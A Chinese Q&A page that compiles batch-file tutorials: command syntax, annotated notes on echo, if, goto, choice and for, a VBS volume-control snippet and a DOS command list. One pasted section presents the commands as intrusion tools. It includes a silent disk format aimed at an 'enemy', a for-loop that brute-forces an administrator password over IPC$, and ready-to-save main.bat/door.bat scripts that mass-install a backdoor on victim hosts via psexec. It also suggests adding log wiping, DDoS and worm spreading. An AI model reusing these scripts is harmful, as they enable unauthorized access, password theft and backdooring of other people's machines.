bat命令、全一点的、给加分 bat 调节音量 有的话加分

来自:五金   投稿:2025-11-01
bat文件命令大全~

.bat是dos下的批处理文件
.cmd是nt内核命令行环境的另一种批处理文件

批处理命令

批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称
时,MS-DOS成组执行此批处理程序中的命令。

任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。
==========

常用命令

echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。

==== willsort 编注 ===========
首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到
的一些特殊标记符:
CR(0D) 命令行结束符
Escape(1B) ANSI转义字符引导符
Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定符
+ COPY命令文件连接符
* ? 文件通配符
"" 字符串界定符
| 命令管道符
>> 文件重定向符
@ 命令行回显屏蔽符
/ 参数开关引导符
: 批处理标签引导符
% 批处理变量引导符

其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:
第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区
别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.
第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一
个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中.
=====================

echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。
call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执
行当前文件的后续命令)。
pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续
rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。
==== willsort 编注 =====
此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理

-------------------------
ECHO

当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。
使用ECHO命令可关闭此功能。

语法

ECHO [ON|OFF]

若要用echo命令显示一条命令,可用下述语法:

echo [message]

参数

ON|OFF
指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO
命令。

message
指定让MS-DOS在屏幕上显示的正文。

-------------------

CALL

从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename
指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。


batch-parameters
指定批处理程序所需的命令行信息。

-------------------------------

PAUSE

暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处
理程序中使用该命令。

语法

PAUSE


REM

在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS
中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

语法

REM [string]

参数

string
指定要屏蔽的命令或要包含的注解。
=======================

例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,
启动UCDOS,进入WPS等功能。

批处理文件的内容为: 命令注释:

@echo off 不显示后续命令行及当前命令行
dir c:\*.* >a.txt 将c盘文件列表写入a.txt
call c:\ucdos\ucdos.bat 调用ucdos
echo 你好 显示"你好"
pause 暂停,等待按键继续
rem 准备运行wps 注释:准备运行wps
cd ucdos 进入ucdos目录
wps 运行wps

批处理文件的参数

批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符"%"。

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表
示批处理命令本身,其它参数字符串用%1到%9顺序表示。

例2:C:根目录下有一批处理文件名为f.bat,内容为:
@echo off
format %1

如果执行C:\>f a:
那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:

例3:C:根目录下一批处理文件名为t.bat,内容为:
@echo off
type %1
type %2

那么运行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将顺序地显示a.txt和b.txt文件的内容。

==== willsort 编注 ===============
参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间
(例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参
数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如
下:

初始状态, cmd 为命令名, 可以用 %0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过1次shift后, cmd 将无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8

遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返
复移动起始指针.
====================

特殊命令


if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。


一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if [not] "参数" == "字符串" 待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。

例:if "%1"=="a" format a:

==== willsort 编注

if 的命令行帮助中关于此点的描述为:
IF [NOT] string1==string2 command
在此有以下几点需要注意:
1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符
2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量
3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行
=============================

2、if [not] exist [路径\]文件名 待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如: if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文件,则显示它的内容。

****** willsort 编注 ********
也可以使用以下的用法:
if exist command
device 是指DOS系统中已加载的设备, 在win98下通常有:
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点:
1. 该设备确实存在(由软件虚拟的设备除外)
2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义)
3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等)
可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备
另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄
(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即
指在内存中为其分配可引用的句柄.
==================================

3、if errorlevel 待执行的命令

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值
,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立
,运行命令,否则运行下一句。

如if errorlevel 2 goto x2

==== willsort 编注 ===========
返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺
序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式:

if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...

当然, 也可以使用以下循环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章

出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致
在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码.

另外, 虽然 if errorlevel= command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略
掉罢了
===========================


二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配
合使用,根据不同的条件来执行不同的命令组。

如:

goto end

:end
echo this is the end

标号用":字符串"来定义,标号所在行不被执行。

==== willsort 编注

label 常被译为 "标签" , 但是这并不具有广泛的约定性.

goto 与 : 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case
结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语
法结构上的对照:

Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================

三、choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配
合,根据用户的选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。

choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异):

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
该工具允许用户从选择列表选择一个项目并返回所选项目的索引。

参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"。

/N 在提示符中隐藏选项列表。提示前面的消息得到显示,
选项依旧处于启用状态。

/CS 允许选择分大小写的选项。在默认情况下,这个工具
是不分大小写的。

/T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0
到 9999。如果指定了 0,就不会有暂停,默认选项
会得到选择。

/D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选
项指定的一组选择中; 同时,必须用 /T 指定 nnnn。

/M text 指定提示之前要显示的消息。如果没有指定,工具只
显示提示。

/? 显示帮助消息。

注意:
ERRORLEVEL 环境变量被设置为从选择集选择的键索引。列出的第一个选
择返回 1,第二个选择返回 2,等等。如果用户按的键不是有效的选择,
该工具会发出警告响声。如果该工具检测到错误状态,它会返回 255 的
ERRORLEVEL 值。如果用户按 Ctrl+Break 或 Ctrl+C 键,该工具会返回 0
的 ERRORLEVEL 值。在一个批程序中使用 ERRORLEVEL 参数时,将参数降
序排列。

示例:
CHOICE /?
CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 a,选项 2 请选择 b。"
CHOICE /C ab /N /M "选项 1 请选择 a,选项 2 请选择 b。"

==== willsort 编注 ===============================
我列出win98下choice的用法帮助, 已资区分

Waits for the user to choose one of a set of choices.
等待用户选择一组待选字符中的一个

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN
指定允许的按键(待选字符), 默认为YN
/N Do not display choices and ? at end of prompt string.
不显示提示字符串中的问号和待选字符
/S Treat choice keys as case sensitive.
处理待选字符时大小写敏感
/T[:]c,nn Default choice to c after nn seconds
在 nn 秒后默认选择 c
text Prompt string to display
要显示的提示字符串
ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设置为用户键入的字符在待选字符中的偏移值
====================================

如果我运行命令:CHOICE /C YNC /M "确认请按 Y,否请按 N,或者取消请按 C。"
屏幕上会显示:
确认请按 Y,否请按 N,或者取消请按 C。 [Y,N,C]?


例:test.bat的内容如下(注意,用if errorlevel判断返回值时,要按返回值从高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理运行后,将显示"defrag,mem,end[D,M,E]?" ,用户可选择d m e ,然后if语句根据用户的选择作出判断,d表示执行标号
为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到
end标号处,然后程序将显示good bye,批处理运行结束。

四、for 循环命令,只要条件符合,它将多次执行同一命令。

语法:
对一组文件中的每一个文件执行某个特定命令。

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters
为特定命令指定参数或命令行开关。

例如一个批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c

则该命令行会显示当前目录下所有以bat和txt为扩展名的文件的内容。

vbs可以调节音量,如果用bat,可以生成临时vbs文件执行,或者调用mshta执行vbs语句。
vbs代码:
Set ws = CreateObject("WScript.Shell")ws.SendKeys Chr(&H88AD) '静音非静音切换ws.SendKeys Chr(&H88AE) '减小音量ws.SendKeys Chr(&H88AF) '增大音量

一.简单批处理内部命令简介   1.Echo 命令   打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。   语法   echo [{on off}] [message]   Sample:@echo off / echo hello world   在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。   2.@ 命令   表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。   Sample:@echo off   @echo Now initializing the program,please wait a minite...   @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)   3.Goto 命令   指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。   语法:goto label (label是参数,指定所要转向的批处理程序中的行。)   Sample:   if {%1}=={} goto noparms   if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)   @Rem check parameters if null show usage   :noparms   echo Usage: monitor.bat ServerIP PortNumber   goto end   标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。   4.Rem 命令   注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。   Rem Message   Sample:@Rem Here is the description.   5.Pause 命令   运行 Pause 命令时,将显示下面的消息:   Press any key to continue . . .   Sample:   @echo off   :begin   copy a:*.* d:\back   echo Please put a new disk into driver A   pause   goto begin   在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令   从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。   语法   call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]   参数   [Drive:}[Path] FileName   指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。   7.start 命令   调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。   入侵常用参数:   MIN 开始时窗口最小化   SEPARATE 在分开的空间内开始 16 位 Windows 程序   HIGH 在 HIGH 优先级类别开始应用程序   REALTIME 在 REALTIME 优先级类别开始应用程序   WAIT 启动应用程序并等候它结束   parameters 这些为传送到命令/程序的参数   执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。   8.choice 命令   choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……   如: choice /c:dme defrag,mem,end   将显示   defrag,mem,end[D,M,E]?   Sample:   Sample.bat的内容如下:   @echo off   choice /c:dme defrag,mem,end   if errorlevel 3 goto defrag (应先判断数值最高的错误码)   if errorlevel 2 goto mem   if errotlevel 1 goto end   :defrag   c:\dos\defrag   goto end   :mem   mem   goto end   :end   echo good bye   此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。   9.If 命令   if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:   1、if "参数" == "字符串"  待执行的命令   参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)   如if "%1"=="a" format a:   if {%1}=={} goto noparms   if {%2}=={} goto noparms   2、if exist 文件名  待执行的命令   如果有指定的文件,则条件成立,运行命令,否则运行下一句。   如if exist config.sys edit config.sys   3、if errorlevel / if not errorlevel 数字  待执行的命令   如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。   如if errorlevel 2 goto x2     DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令   for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。   在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable   for {%variable %%variable} in (set) do command [ CommandLineOptions]   %variable 指定一个单一字母可替换的参数。   (set) 指定一个或一组文件。可以使用通配符。   command 指定对每个文件执行的命令。   command-parameters 为特定命令指定参数或命令行开关。   在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable   而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I   如果命令扩展名被启用,下列额外的 FOR 命令格式会受到   支持:   FOR /D %variable IN (set) DO command [command-parameters]   如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。   FOR /R [[drive:]path] %variable IN (set) DO command [command-   检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。   FOR /L %variable IN (start,step,end) DO command [command-para   该集表示以增量形式从开始到结束的一个数字序列。   因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生   序列 (5 4 3 2 1)。   FOR /F ["options"] %variable IN (file-set) DO command   FOR /F ["options"] %variable IN ("string") DO command   FOR /F ["options"] %variable IN (command) DO command   或者,如果有 usebackq 选项:   FOR /F ["options"] %variable IN (file-set) DO command   FOR /F ["options"] %variable IN ("string") DO command   FOR /F ["options"] %variable IN (command) DO command   filenameset 为一个或多个文件名。继续到 filenameset 中的   下一个文件之前,每份文件都已被打开、读取并经过处理。   处理包括读取文件,将其分成一行行的文字,然后将每行   解析成零或更多的符号。然后用已找到的符号字符串变量值   调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开   的第一个空白符号。跳过空白行。您可通过指定可选 "options"   参数替代默认解析操作。这个带引号的字符串包括一个或多个   指定不同解析选项的关键字。这些关键字为:   eol=c - 指一个行注释字符的结尾(就一个)   skip=n - 指在文件开始时忽略的行数。   delims=xxx - 指分隔符集。这个替换了空格和跳格键的   默认分隔符集。   tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代   的 for 本身。这会导致额外变量名称的   格式为一个范围。通过 nth 符号指定 m   符号字符串中的最后一个字符星号,   那么额外的变量将在最后一个符号解析之   分配并接受行的保留文本。   usebackq - 指定新语法已在下类情况中使用:   在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。
sample1:   FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command   会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。   %i 专门在 for 语句中得到说明,%j 和 %k 是通过   tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的同时不能有 52 个以上都在使用中。   您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。   最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:   FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i   会枚举当前环境中的环境变量名称。   另外,FOR 变量参照的替换已被增强。您现在可以使用下列   选项语法:   ~I - 删除任何引号("),扩充 %I   %~fI - 将 %I 扩充到一个完全合格的路径名   %~dI - 仅将 %I 扩充到一个驱动器号   %~pI - 仅将 %I 扩充到一个路径   %~nI - 仅将 %I 扩充到一个文件名   %~xI - 仅将 %I 扩充到一个文件扩展名   %~sI - 扩充的路径只含有短名   %~aI - 将 %I 扩充到文件的文件属性   %~tI - 将 %I 扩充到文件的日期/时间   %~zI - 将 %I 扩充到文件的大小   %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串   可以组合修饰符来得到多重结果:   %~dpI - 仅将 %I 扩充到一个驱动器号和路径   %~nxI - 仅将 %I 扩充到一个文件名和扩展名   %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名   %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。   %~ftzaI - 将 %I 扩充到类似输出线路的 DIR   在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法   用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。   以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。   sample2:   利用For命令来实现对一台目标Win2k主机的暴力密码破解。   我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。   最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"   用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--   for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator" find ":命令成功完成">>D:\ok.txt ,这样就ko了。   sample3:   你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。   主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)   @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k   tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。   而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。   delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。   代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) -----------------   @echo off   @if "%1"=="" goto usage   @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k   @goto end   :usage   @echo run this batch in dos modle.or just double-click it.   :end --------------- cut here then save as a batchfile(I call it main.bat ) ----------------- --------------- cut here then save as a batchfile(I call it door.bat) ------------------   @net use \\%1\ipc$ %3 /u:"%2"   @if errorlevel 1 goto failed   @echo Trying to establish the IPC$ connection …………OK   @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt   @pse*x*e*c \\%1 c:\winnt\system32\windrv32.exe   @ps*e*x*e*c \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt   :failed   @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -
--------------   这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PS*e*x*e*c.exe需放在统一目录下.批处理内容   尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究。

命令:CALL
功能:在批处理文件中调用批处理文件.
CALL [驱动器:][路径]文件名 [批命令参数]
批命令参数 指定批处理文件所需的命令行参数.
命令:CD/CHDIR
功能:显示或改变当前目录.
CHDIR [驱动器:][路径]
CHDIR[..]
CD [驱动器:][路径]
CD[..]
.. 表示当前目录改变成父目录.
键入 CD [驱动器:], 可显示指定驱动器的当前目录.
键入不带参数的 CD 可显示当前驱动器和当前目录.
命令:CLS
功能:清除屏幕。
CLS
命令:COPY
功能:文件拷贝.
COPY [/A | /B] source [/A | /B] [+ source [/A | /B] [+ ...]] [destination
[/A | /B]] [/V] [/Y | /-Y]
source 指定被拷贝的文件.
/A 表示 ASCII 正文文件.
/B 表示二进制文件.
destination 指定新文件的目录和文件名.
/V 校验新文件是否正确.
/Y 在重写原有的目标文件之前, 不让你确认.
/-Y 在重写原有的目标文件之前, 让你确认.
开关项 /Y 可由环境变量 COPYCMD 预设.
-Y 可以更改预设值.要合并多个文件时, 可指定单个目标文件, 但指定多个
源文件(使用通配符或 文件1+文件2+文件3 格式).
命令:DATE
功能:显示或设置日期。
DATE [日期]
显示当前日期设置和输入新日期的提示,请键入
不带参数的 DATE。要保留现有日期,请按 ENTER。
命令:DEL/ERASE
功能:删除文件.
DEL [驱动器:][路径]文件名 [/P]
ERASE [驱动器:][路径]文件名 [/P]
[驱动器:][路径]文件名 指定被删除的文件, 用通配符指定多个文件.
/P 删除每个文件之前显示确认信息.
命令:DIR
功能:显示目录中的文件和子目录列表。
DIR [驱动器:][路径][文件名] [/P] [/W] [/A[[:]属性]]
[/O[[:]排序方式]] [/S] [/B] [/L] [/V] [/4]
[驱动器:][路径][文件名
指定列出的驱动器, 目录或文件。
(可支持带通配符的长文件名)
/P 显示一屏信息后暂停。
/W 使用宽幅列表格式。
/A 显示指定属性的文件。
属性 D 目录 R 只读文件
H 隐含文件 A 准备存档的文件
S 系统文件 - 前缀, 表示"非"
/O 排序后列出文件。
排序方式 N 按文件名(字母顺序) S 按大小(小文件在前)
E 按扩展名(字母顺序) D 按日期和时间(先建立的在前)
G 先列出子目录 - 前缀, 表示反序
A 按最后访问日期排序(先访问的在前)
/S 列出指定目录及其所有子目录的文件。
/B 使用空格式(没有标题信息或摘要)。
/L 用小写。
/V Verbose mode.
/4 用四位数字显示年
开关可能已用 DIRCMD 环境变量预置.
用连字符(-)可更换预置的开关, 例如/-W.
命令:ECHO
功能:显示信息, 打开或关闭命令的回显.
ECHO [ON | OFF]
ECHO [信息]
键入不带参数的 ECHO 可显示 ECHO 的当前设置.
命令:EXIT
功能:退出COMMAND.COM命令解释程序.
EXIT
命令:FOR
功能:对一系列文件中的每个文件执行指定的命令.
FOR %变量名 IN (文件集) DO 命令名 [命令行参数]
%变量名 指定可替换型参数.
(文件集) 指定包含一个或多个文件的文件集, 可使用通配符.
命令名 指定为每个文件执行的命令.
命令行参数
指定命令的参数或开关.
在批处理文件中使用 FOR 命令时, 用 %%变量名 替换 %变量名.
命令:GOTO
功能:在批处理程序中将 Windows 转向到指定的行号.
GOTO 标号
标号 指定在批处理文件中用作标号的正文字符串.
标号独占一行, 以冒号打头.
命令:IF
功能:批文件的条件语句.
IF [NOT] ERRORLEVEL 数值 命令名
IF [NOT] 字串1==字串2 命令名
IF [NOT] EXIST 文件名 命令名
NOT 指示 Windows 在条件不成立时才执行命令.
ERRORLEVEL 数值 如果上次程序返回的退出码大于或等于指定的数值, 则条件成立.
命令名 指定条件满足时应执行的命令.
字串1==字串2 如果正文字符串匹配, 则条件成立.
EXIST 文件名 如果指定的文件存在, 则条件成立.
命令:LH/LOADHIGH
功能:将程序装入上端内存区.
LOADHIGH [驱动器:][路径]程序名 [参数]
LOADHIGH [/L:区域1[,最小值1][;区域2[,最小值2]...] [/S]]
[驱动器:][路径]程序名 [参数
/L:区域1[,最小值1][;区域2[,最小值2]]...
指定装裁程序的内存区域, <区域1> 指定第一个内存区号.
<最小值1> 指定 <区域1> 的最小尺寸(若有).
<区域2> 和 <最小值2> 指定第二个内存块号和最小尺寸(若有).
内存区域的个数不限.
/S 装入程序时, 将 UMB 收缩到最小尺寸.
[驱动器:][路径]文件名
指定程序的名称和位置.
命令:MD/MKDIR
功能:创建目录.
MKDIR [驱动器:]目录
MD [驱动器:]目录
命令:PATH
